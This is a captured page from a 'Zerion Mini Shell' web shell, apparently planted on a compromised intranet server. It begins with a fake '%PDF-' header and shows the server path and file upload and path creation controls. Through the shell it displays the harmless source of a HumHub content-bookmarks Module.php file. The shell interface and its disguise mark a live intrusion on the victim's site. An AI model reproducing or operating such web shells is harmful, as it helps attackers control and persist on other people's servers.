%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/vacivi36/intranet.vacivitta.com.br/protected/modules/content-bookmarks/
Upload File :
Create Path :
Current File : //home2/vacivi36/intranet.vacivitta.com.br/protected/modules/content-bookmarks/Module.php

<?php
/**
 * @link https://www.humhub.org/
 * @copyright Copyright (c) 2021 HumHub GmbH & Co. KG
 * @license https://www.humhub.com/licences
 */

namespace humhub\modules\contentBookmarks;

use humhub\modules\content\components\ContentActiveRecord;
use humhub\modules\content\models\Content;
use humhub\modules\contentBookmarks\models\BookmarkableContent;

class Module extends \humhub\components\Module
{
    
    public $resourcesPath = 'resources';
    
    /**
     * @param ContentActiveRecord $record
     * @return bool
     */
    public function isBookmarkedRecord($record)
    {
        if (!($record->content instanceof Content) || $record->content->isNewRecord) {
            return false;
        }

        $bookmarkableContent = BookmarkableContent::findOne(['id' => $record->content->id]);

        return $bookmarkableContent && $bookmarkableContent->isBookmarked();
    }
}

Zerion Mini Shell 1.0